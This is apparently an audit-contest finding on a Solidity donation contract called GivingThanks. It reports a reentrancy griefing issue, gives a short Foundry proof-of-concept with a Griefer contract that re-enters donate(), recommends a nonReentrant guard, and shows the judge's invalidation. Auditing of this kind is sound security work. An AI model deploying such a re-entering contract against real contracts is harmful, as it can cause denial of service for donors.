GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
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Submission Details
Severity: low
Invalid

GivingThanks.donate(): Griefing attack

k3ysk1lls

Summary

A rogue verified charity may perform griefing attack after you make a donation

Vulnerability Details

Sending ETH to a charity causes an interaction with the charity contract, which may result in the donation being sent in an infinite loop.

Impact

This attack has a negative impact on the functioning of the GivingThanks contract, even though it does not provide a direct profit to the charity (attacker). Depending on the ETH balance of the participant donating to the charity, this could result in a block gas limit attack causing a denial of service.

Tools Used

Add the following contract to GivingThanks.t.sol file:

contract Griefer {
receive() external payable {
GivingThanks(msg.sender).donate{value: msg.value}(address(this));
}
}

And run the following test in the GivingThanksTest test contract:

function testGriefingAttack() public {
//setup attacker
Griefer griefer = new Griefer();
registryContract.registerCharity(address(griefer));
vm.prank(admin);
registryContract.verifyCharity(address(griefer));
​
//donate
uint256 donationAmount = 1 ether;
vm.deal(donor, 2 ether);
vm.prank(donor);
charityContract.donate{value: donationAmount}(address(griefer));
}

Recommendations

Modify access to GivingThanks.donate() with a reentry protection modifier. For example, you can use the nonReentrant OpenZeppelin modifier.

Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid-external-call-to-malicious-charity

Charity contracts are validated by the admin, it is safe at this step since admin is trusted.

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